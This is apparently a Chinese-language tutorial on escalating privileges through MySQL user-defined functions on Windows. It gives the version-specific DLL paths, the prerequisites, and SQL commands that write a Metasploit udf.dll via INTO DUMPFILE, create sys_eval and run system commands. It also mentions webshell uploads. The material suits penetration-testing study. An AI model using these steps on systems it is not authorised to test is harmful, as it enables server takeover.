UFD 介绍
user defined function,即用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs() 或concat() 。udf文件后缀为.dll ,常用c 语言编写。
-
在mysql 5.1 以后的版本中,udf文件放在于mysql/lib/plugin 目录下,目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll文件导出到该目录。 以下这种通过文件流的机制创建目录的方法经尝试不可行,提示不允许操作。(路过的大佬指导一下~) select 'xxxxxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';
-
如果mysql版本小于5.1, udf文件在windows 7 下放置在C:\windows 目录,在windows server 2003 下放置于C:\windows\system32 目录,在windows server 2000 下放置在C:\winnt\system32 目录。
前提
- 需要mysql root权限的账户,因为需要用 create 操作
- 根据 mysql 版本确定plugin_dir目录
- mysql配置文件配置项
secure_file_priv= 置空,表示不限制导入导出目录(mysql5.5 之前 secure_file_priv 默认是空) - 如果是mysql 5.1之后的版本,目前来说必须存在lib\plugin\目录
提权
环境信息:windows 7,mysql 5.0.96
-
通过 root 账户登录到 mysql 后,获取一些变量信息,看是否满足前提条件 select version();
select @@plugin_dir
show global variables like 'secure%';
-
从 MSF 中获取利用的 udf.dll 文件,目录/usr/share/metasploit-framework/data/exploits/mysql ;或者从 sqlmap 中取,目录/usr/share/sqlmap/data/udf/mysql 。 建议用MSF下的udf文件,sqlmap下的是经过编码的,如果要用需要先解码 -
通过 webshell 将 udf.dll 上传到C:\windows 目录下,或者通过 sqlshell 写进去(udf.dll是自己改的名字,不改也行,下面命令中用到的文件名和这里对应就行) CREATE TABLE udftmp (c blob);
INSERT INTO udftmp values(unhex('udf文件的16进制格式'));
SELECT c FROM udftmp INTO DUMPFILE 'C:\\windows\\udf.dll';
-
创建自定义函数,并执行系统命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
DROP FUNCTION sys_eval;
?
|